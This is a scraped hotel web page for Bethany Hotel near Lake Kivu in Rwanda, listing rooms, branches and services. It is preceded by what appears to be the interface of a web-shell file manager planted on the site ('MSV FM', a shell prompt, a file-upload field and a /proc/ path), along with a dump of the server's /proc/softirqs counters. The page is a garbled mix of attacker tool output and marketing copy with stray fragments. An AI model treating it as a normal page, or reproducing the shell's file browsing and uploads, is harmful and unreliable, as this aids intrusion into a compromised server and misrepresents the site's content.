MSV FM

[email protected]: ~ $
Path : /proc/
File Upload :
Current < : //proc/softirqs

                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0         11          0          2          0          0          0          0          0          0          3          0          0
       TIMER:  796992747  863956921  567106732  540625902  943828136  402389162  470811497  502601073  512167054  420612136  474516102  647795879  669438944  548889073  464884592  556916600
      NET_TX:      27424      26693      19941       6750      30004      33792      39855      25627      22978      12567      92190      33232      12206      10470      25479      29768
      NET_RX:  187478623  191747743  232560276  220436769  547889391  253586223  604826458  274692035  660748469  307217222  713576703  335686750  733955323  251710098  219301607  567170012
       BLOCK:     999011    1335748    1188954    1095169    1137209    1011256    1017220    1019804    1037880    1038852    1046480    1136113    1111883    1018701    1130546    1095126
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:   10203687    9159630   12982161   11205037   34782914   13109854   36000781   14453128   39252713   16491051   41727510   18204025   41945973   15553219   11533021   34865166
       SCHED:  721923774  372026729  270533898  236444832  229923915  210939300  214553053  207640159  207050745  193951698  199010886  218926631  230201395  194200419  204976488  219542316
     HRTIMER:      35573      34742      34599      31014      67617      34800      76274      37295      82109      42734      88587      45153      86380      35489      32030      65413
         RCU: 1091690504 2331745618 2148954046 1790488934 1185030221 1652415842 1409090593 1012101615 1257130058 1168643997 1065693708 1278980933 1305923329 1142916607  968566723 1118750312
Bethany
Bethany
0%

THE FINEST HOTEL NEAR LAKE KIVU

The Perfect Base For You

Required fields are followed by *





EC1A68011

About Us

Delicious Interior With The Pinch Of Everything

Bethany Investment group is Presbyterian church in Rwanda(EPR) company that manage Hotel and Guest house in Karongi (Bethany Hotel), ISANO branch in GIKONDO(Kigali), Kiyovu branch(Kigali), AMIZERO branch(Nyagatare-East) and Gisenyi Branch(Rubavu).

Accomodation

Get a Comfortable Room
Feel The Comfort

Get a comfortable room and feel our hotel’s comfort. Bethany Hotel features a variety of fully furnished rooms with extra space, Executive rooms, Deluxe rooms with a beautiful lake view and garden space, Deluxe rooms, comfort rooms, family rooms and standard rooms at your service.

Standard Single

Services

We Provide Top Class Facility
Especially For You

Beach BBQ Party

Kick back on the beach& and enjoy our berbecue from our masterchef

Breakfast

Kick back at our hotels& enjoy our breakfast from our masterchef

Conference Hall

Kick back at our hotels& enjoy our conference halls from all bethany branches

Enjoy with your partner

Honeymoon Package

80%

Get In Touch

Don’t Miss Any Update

    +

    Search your Room

    Required fields are followed by *